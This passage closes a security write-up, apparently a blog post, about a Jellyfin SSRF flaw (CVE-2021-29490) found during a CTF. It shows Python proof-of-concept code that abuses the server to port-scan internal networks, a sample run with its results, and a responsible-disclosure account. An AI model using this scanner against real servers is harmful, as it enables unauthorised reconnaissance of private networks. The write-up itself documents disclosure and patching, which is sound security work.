        parser.add_argument("--ports", "-p", default="80,443", help="The ports to scan, comma separated. default: 80,443")
        args = parser.parse_args()
        self.args = args

    def scan_ip(self, server_url, host, ports):
        ip = format(host)
        self.port_scanner.scan(server_url, ip, ports)

    def parse_ports(self, ports):
        result = []
        for part in ports.split(','):
            if '-' in part:
                a, b = part.split('-')
                a, b = int(a), int(b)
                result.extend(range(a, b + 1))
            else:
                a = int(part)
                result.append(a)
        return result

    def scan(self):
        net4 = ipaddress.ip_network(self.args.hosts)
        ports = self.parse_ports(self.args.ports)
        url = self.args.jellyfin_url
        adjustedUrl = url if url.endswith("/") else f"{url}/"
        params = ((adjustedUrl, host, ports) for host in net4.hosts())
        with concurrent.futures.ThreadPoolExecutor(max_workers=64) as executor:
            executor.map(lambda s: self.scan_ip(*s), params)


#### Run ####
if __name__ == "__main__":
    signal.signal(signal.SIGINT, sigHandler)
    scanner = Scanner()
    scanner.parse_args()
    scanner.scan()


python3 scanner.py http://localhost:8096 172.18.0.0/24 -p "80,443,8000,27017,27018,27019,8096"
172.18.0.3 : 27017 OPEN
172.18.0.2 : 80 OPEN
172.18.0.4 : 8096 OPEN
172.18.0.1 : 8096 OPEN

Responsible Disclosure

OmegaVoid and I emailed the maintainers of the project via their channels, including the PoC and the docker setup. Several days later, a patch was released removing the API altogether and an advisory was released. Shortly after, CVE-2021-29490 was created. We initially assigned a CVSS Score of 5.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N. The NVD is currently assessing the vulnerability, which may change the final score.

Conclusions

While CTF challenges are generally played for fun, they can sometimes lead to real and interesting discoveries. Always remember to report these vulnerabilities to the project maintainers via the appropriate channels. Should no such channels be defined, creating an issue detailing that you may have a found a vulnerability and would like to disclose in a responsible fashion may be the way to go. Either way, the vulnerability should be patched before you release details for how to exploit it.

Stay Safe, and Hack Ethically.

Cheers